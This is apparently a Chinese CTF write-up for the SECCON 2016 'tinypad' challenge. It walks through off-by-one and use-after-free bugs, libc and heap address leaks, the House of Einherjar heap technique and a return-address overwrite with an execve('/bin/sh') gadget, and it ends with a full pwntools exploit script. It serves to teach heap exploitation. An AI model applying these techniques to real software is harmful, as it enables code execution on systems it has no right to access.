House Of Einherjar(2016 Seccon tinypad)

栗子https://github.com/tower111/software.git
got表不可写:劫持程序执行流的思路1.复写hook函数。2.覆盖返回地址
canary和NX保护。
漏洞和数据结构

if ( v13 > 0 && v13 <= 4 ) { if ( *(_QWORD *)&tinypad[16 * (v13 - 1 + 16LL)] ) { c = '0'; strcpy(tinypad, *(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]); while ( toupper(c) != 'Y' ) { write_n((__int64)"CONTENT: ", 9LL); v8 = strlen(tinypad); writeln((__int64)tinypad, v8); write_n((__int64)"(CONTENT)>>> ", 13LL); v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]); read_until((__int64)tinypad, v9, 0xAu); writeln((__int64)"Is it OK?", 9LL); write_n((__int64)"(Y/n)>>> ", 9LL); read_until((__int64)&c, 1uLL, 0xAu); } strcpy(*(char **)&tinypad[16 * (v13 - 1 + 16LL) + 8], tinypad); v3 = 8LL;

在bss段偏移0x100位置处会放入size和chunk的地址,chunk里面存放content。
bss段的开始存放的是edit函数缓冲的数据。
1.函数自定义的read函数存在off by one 漏洞。这个代码比较麻烦可以手动测试得出结论。可以复写每个chunk的prive_size和prive_inuse字段,在edit长度为256的时候会覆盖掉memo1的size字段(只能设置为0)
2.在free之后只是把size置0并没有把指针清零,存在UAF漏洞。
利用思路
只有off by one利用需要2层chunk,这里只有一层显然不行(参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/off_by_one/)。
unlink需要堆溢出,完整操作下一个堆,这里只利用unlink也不行(可以用double free 或者其他方法获取到一个堆的完整控制权,再用unlink应该是可以的)。
double free:
if ( v8 == 'D' ) { write_n("(INDEX)>>> ", 11LL, v9); v20 = read_int(); if ( v20 > 0 && v20 <= 4 ) { if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] ) { free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]); *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL; writeln("\nDeleted.", 9LL); } else { writeln("Not used", 8LL); } }

这里对free函数做了限制,不能double free
house of einherjar是什么参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
house of einherjar需要:能够修改inuse位,申请到的空间内容两个单位可以控制。(对于进行unlink的chunk并不会检查自己的size部分)
利用house of einherjar 申请到bss段的空间,修改memo数组,实现复写hook_malloc或者是修改返回地址
v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]); read_until((__int64)tinypad, v9, 0xAu);

由于会读取原长度然后输入,malloc_hook初始为0所以不能用就只能用第二种方案了。
获取返回地址的方案:泄露libc找到__environ函数计算出main_arean的地址
1.申请到bss空间需要:heap地址,bss地址
2.复写返回地址需要:libc地址,一段合适的ropgedat
获取需要数据
先找ropgedat
搜索libc库的/bin/sh 字符串可以找到这里,很完美的一段ropgedat
text:000000000004520F loc_4520F:; CODE XREF: sub_44E20+16E↑j .text:000000000004520Flearax, aBinSh+5; "sh" .text:0000000000045216learsi, unk_3C6560 .text:000000000004521Dxoredx, edx .text:000000000004521Fmovedi, 2 .text:0000000000045224mov[rsp+188h+var_148], rbx .text:0000000000045229mov[rsp+188h+var_140], 0 .text:0000000000045232mov[rsp+188h+var_158], rax .text:0000000000045237learax, aC; "-c" .text:000000000004523Emov[rsp+188h+var_150], rax .text:0000000000045243callsigaction .text:0000000000045248learsi, unk_3C64C0 .text:000000000004524Fxoredx, edx .text:0000000000045251movedi, 3 .text:0000000000045256callsigaction .text:000000000004525Bxoredx, edx .text:000000000004525Dmovrsi, r12 .text:0000000000045260movedi, 2 .text:0000000000045265callsigprocmask .text:000000000004526Amovrax, cs:environ_ptr_0 .text:0000000000045271leardi, aBinSh; "/bin/sh" .text:0000000000045278learsi, [rsp+188h+var_158] .text:000000000004527Dmovcs:dword_3C64A0, 0 .text:0000000000045287movcs:dword_3C64A4, 0 .text:0000000000045291movrdx, [rax] .text:0000000000045294callexecve

fast bin大小的chunk在释放后会在fd指针处写入数据,组成单链表。
输出这个时候chunk中内容即可。
small bin大小的块释放后进入unsort bin。unsort bin里面fd和bk是双向链表,链里面的第一个chunk的fd,bk指针会指向main_arena地址处,这个地址和libc_base之间的偏移是固定的。
利用代码分析
add(0x10, 'a') add(0x10,"b") add(0x100,"c") delete(2) delete(1) p.recvuntil(" # CONTENT: ") heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20 print "heap_base="+hex(heap_base) gdb.attach(p) #x /10xg 0x602140 delete(3) p.recvuntil(" # CONTENT: ") main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) print "main_arena="+hex(main_)

删除chunk1和chunk2的之后输出heap_base
pwndbg> x /10xg0x2110000 0x2110000:0x00000000000000000x0000000000000021 0x2110010:0x00000000021100200x0000000000000000 0x2110020:0x00000000000000000x0000000000000021 0x2110030:0x00000000000000000x0000000000000000 0x2110040:0x00000000000000000x0000000000000111

所以这里要减去0x20(ubuntu18在这里不能减0x20了)。
在删除chunk3之后chunk3会合并相邻的2个chunk合并之后在放入unsort bin里面,然后被topchunk回收。
pwndbg> heap 0x148b000 PREV_INUSE { prev_size = 0x0, size = 0x21001, fd = 0x7f434a1aab78 , bk = 0x7f434a1aab78 , fd_nextsize = 0x20, bk_nextsize = 0x20 }

满足放进unsort bin,仅有一个chunk所以fd和bk
位置处都是main_arena 。
如何获取到main_arena和libc之间的偏移?
liu@liu-VirtualBox:~$ pidof tinypad 4072

liu@liu-VirtualBox:~$ cat /proc/4072/maps 00400000-00402000 r-xp 00000000 08:01 471441/home/liu/Desktop/tinypad 00601000-00602000 r--p 00001000 08:01 471441/home/liu/Desktop/tinypad 00602000-00603000 rw-p 00002000 08:01 471441/home/liu/Desktop/tinypad 01082000-010a3000 rw-p 00000000 00:00 0[heap] 7ff38f379000-7ff38f539000 r-xp 00000000 08:01 457287/lib/x86_64-linux-gnu/libc-2.23.so 7ff38f539000-7ff38f739000 ---p 001c0000 08:01 457287/lib/x86_64-linux-gnu/libc-2.23.so 7ff38f739000-7ff38f73d000 r--p 001c0000 08:01 457287/lib/x86_64-linux-gnu/libc-2.23.so 7ff38f73d000-7ff38f73f000 rw-p 001c4000 08:01 457287/lib/x86_64-linux-gnu/libc-2.23.so 7ff38f73f000-7ff38f743000 rw-p 00000000 00:00 0 7ff38f743000-7ff38f769000 r-xp 00000000 08:01 457280/lib/x86_64-linux-gnu/ld-2.23.so 7ff38f949000-7ff38f94c000 rw-p 00000000 00:00 0 7ff38f968000-7ff38f969000 r--p 00025000 08:01 457280/lib/x86_64-linux-gnu/ld-2.23.so 7ff38f969000-7ff38f96a000 rw-p 00026000 08:01 457280/lib/x86_64-linux-gnu/ld-2.23.so 7ff38f96a000-7ff38f96b000 rw-p 00000000 00:00 0 7fffbd9ac000-7fffbd9cd000 rw-p 00000000 00:00 0[stack] 7fffbd9fb000-7fffbd9fd000 r--p 00000000 00:00 0[vvar] 7fffbd9fd000-7fffbd9ff000 r-xp 00000000 00:00 0[vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0[vsyscall]

main_arena=0x7ff38f73db78
offset=0x7ff38f73db78-0x7ff38f379000=0x3c4b78
【House Of Einherjar(2016 Seccon tinypad)】到这里需要的数据基本上完成了。
接下来是构造house of einherjar
add(0x18,"d"*0x18) add(0x100,"e"*0xf8+'\x11') add(0x100,'f'*0xf8)

在free的时候会检查下一个chunk的size所以这里需要加个’\x11’本chunk的size从0x111覆盖后会变为0x100
fake_addr=0x602040+0x20 size=heap_base-fake_addr+0x20 print hex(size) payload="b"*0x20+p64(0)+p64(0x101)+p64(fake_addr)*2 edit(3,payload)

这里并没有写入到chunk3里面但是会写入到bss段的开始,我们在这里构造的fake_chunk. 为了绕过unlink的检查这里的fd和bk
必须都是fake_addr。size和prive_inuse需要是下一个溢出chunk的下一个chunk(这里是chunk3)的size,inuse为1(默认unsortbin中第一个chunk的prive_inuse位为1)。(在wiki上看到说unlink的时候fakechunk的size不会检验,只会检查chunk2的size。为什么size非要是这样不知道原因,希望大佬看到这篇文章帮助一下)。
接下来是利用off by one漏洞来修改inuse位
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1): edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f')) delete(2) p.recvuntil("\nDeleted.")

因为是用strcpy所以中间有\x00会截断,这里用循环来实现写入size。
执行完delete之后就是这样,伪造的chunk会放入unsort bin中,这个过程会设置size和fd,bk。有一点需要注意,下次申请的空间会先查找这里,然后才会用top chunk。我们正常申请0x000000000197c0c0那么大的chunk的话会用mmap,所以想要真正起作用还需要修改这个size。
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena) edit(4,payload)

程序是先copy原数据到bss段,并且edit的size也不能超过原size(这个size是用strlen读取到的),所以添加一个新的chunk比较方便
接下就是泄露返回地址和复写返回地址。
思路:设置chunk1指向environ的地址就能输出,泄露计算出main_ret_addr,让chunk1指向,main_ret_addr修改chunk1为gedgat。
想要修改chunk1可以让chunk2指向chunk1.
getgat=libc_base+0x45216 environ_point=libc_base+libc.symbols['__environ'] payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148) add(0x100,payload) environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) print "environ_addr="+hex(environ_addr) main_ret_addr=environ_addr-30*8

注意这里的p64(0x100),不能设置为0如果为0会导致下面的edit失败。这也是本题不能用double free的原因。
万事俱备接下来修改就行了
edit(2,p64(main_ret_addr)) edit(1,p64(getgat)) p.sendline("q") p.interactive()

完整exp
from pwn import * context.log_level="debug" p=process("tinypad") elf=ELF("./tinypad") libc=ELF("./libc.so.6") offset=0x3c4b78 def add(size,content): p.recvuntil("(CMD)>>> ") p.sendline("A") p.recvuntil("(SIZE)>>> ") p.sendline(str(size)) p.recvuntil("(CONTENT)>>> ") p.sendline(content)def delete(index): p.recvuntil("(CMD)>>> ") p.sendline("D") p.recvuntil("(INDEX)>>> ") p.sendline(str(index)) #size=0,p!=NULL #\x00def edit(index,content): p.recvuntil("(CMD)>>> ") p.sendline("E") p.recvuntil("(INDEX)>>> ") p.sendline(str(index)) p.recvuntil("(CONTENT)>>> ") p.sendline(content) p.recvuntil("(Y/n)>>> ") p.sendline("Y")add(0x10, 'a') add(0x10,"b") add(0x100,"c") delete(2) delete(1) p.recvuntil(" # CONTENT: ") heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20 print "heap_base="+hex(heap_base) #gdb.attach(p) #x /10xg 0x602140 delete(3) p.recvuntil(" # CONTENT: ") main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) print "main_arena="+hex(main_arena) libc_base=main_arena-offset print "libc_base="+hex(libc_base)# house of einherjar add(0x18,"d"*0x18) add(0xf0,"e"*0xf0) add(0xf0,'f'*0xf8) add(0x100,"f"*0xf8)fake_addr=0x602040+0x20 size=heap_base-fake_addr+0x20 print hex(size) payload="b"*0x20+p64(0x11111111)+p64(0xf1)+p64(fake_addr)*2 edit(3,payload)for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1): edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))#edit(1,'a'*0x10+p64(size)) #gdb.attach(p) delete(2) p.recvuntil("\nDeleted.") payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena) edit(4,payload) #gdb.attach(p) getgat=libc_base+0x45216 environ_point=libc_base+libc.symbols['__environ'] payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148) add(0x100,payload) #gdb.attach(p) p.recvuntil(" # CONTENT: ") environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) print "environ_addr="+hex(environ_addr) main_ret_addr=environ_addr-30*8 print "main_ret _addr="+hex(main_ret_addr) gdb.attach(p) edit(2,p64(main_ret_addr)) edit(1,p64(getgat)) p.sendline("q") p.interactive()

本例只适用与unbutu16 ,因为18管理策略变了所以不能get shell。
参考:https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
我的邮箱362058670@qq.com 希望有老哥能解决我的问题,也欢迎求助。

    推荐阅读